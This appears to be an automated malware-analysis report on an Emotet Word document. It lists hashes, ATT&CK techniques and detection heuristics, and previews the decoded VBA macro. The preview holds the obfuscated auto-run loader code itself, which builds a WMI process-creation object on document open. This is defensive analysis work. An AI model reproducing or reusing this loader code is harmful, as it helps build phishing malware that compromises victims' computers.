Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 073816e0b08f7685…

MALICIOUS

Office (OLE)

174.8 KB Created: 2020-08-18 09:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: c3d17ff11026e6f9fd373f876f902d95 SHA-1: d8091746a958cb8ef548797acad07b98c855545f SHA-256: 073816e0b08f7685f8a72f4199f61d7204c0f81fc56a80caef729d9d80e89155
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution routine. Heuristics indicate a command stager utilizing UserForm properties and CreateObject, consistent with Emotet's typical behavior. ClamAV detection further confirms this family. The macro's obfuscated nature and use of auto-execution suggest it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9373716-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9373716-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11747 bytes
SHA-256: 0e3e5bacc93402de6e00cd2bd2232c69b3902a3b966c6751350390c47a040159
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jd6ir8h6zs63jk7kg_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
D8s6yobcvb69et.G72bomghqu7m5
End Sub


Attribute VB_Name = "D8s6yobcvb69et"
Attribute VB_Base = "0{7B6C6370-93A0-4978-A68D-DCF7DA9FB799}{62FB7FCA-F5A3-4555-9AFA-10E9097A3374}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function G72bomghqu7m5()
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 968
Nzifjzmr533x2 = 545
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
B45wggao4w0 = R_sld33b7i13y91v_p
Wzwjcd014oamyswcz5 = D8s6yobcvb69et.HelpContextId + 50 + 50
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 275
Nzifjzmr533x2 = 362
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
Xgw12p7drwona = R_sld33b7i13y91v_p
Xfnf3oeeee0 = ChrW(Wzwjcd014oamyswcz5 + (15))
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 182
Nzifjzmr533x2 = 934
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
Udhhcpyuoz6vr = R_sld33b7i13y91v_p
Tq_fzpydmk_bgb = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Xfnf3oeeee0 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + D8s6yobcvb69et.Qt1tuwt3b2p8p8yu + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 926
Nzifjzmr533x2 = 988
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
H7j021no11i868q = R_sld33b7i13y91v_p
Rifhculmmiq8nwf2 = Nqh1se3yut2lq(Tq_fzpydmk_bgb)
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 824
Nzifjzmr533x2 = 9
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
Mh5w4qx8f6rh = R_sld33b7i13y91v_p
Set Bz_3am3gnym44hwr = CreateObject(Rifhculmmiq8nwf2)
   For Xnaq0iwhl5hv8mzuo = 5 To 62
DoEvents
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Debug.Print (CStr(Vzhrp3msdqxfdfy0k4) & CStr(I3lsip3ltexr9634))
Next Xnaq0iwhl5hv8mzuo
R_sld33b7i13y91v_p = 799
Nzifjzmr533x2 = 777
R_sld33b7i13y91v_p = R_sld33b7i13y91v_p + Nzifjzmr533x2
Ezti374ce_tno = R_sld33b7i13y91v_p
Hjqg1_ua31d2p83n_x = D8s6yobcvb69et.Oc12xko
... (truncated)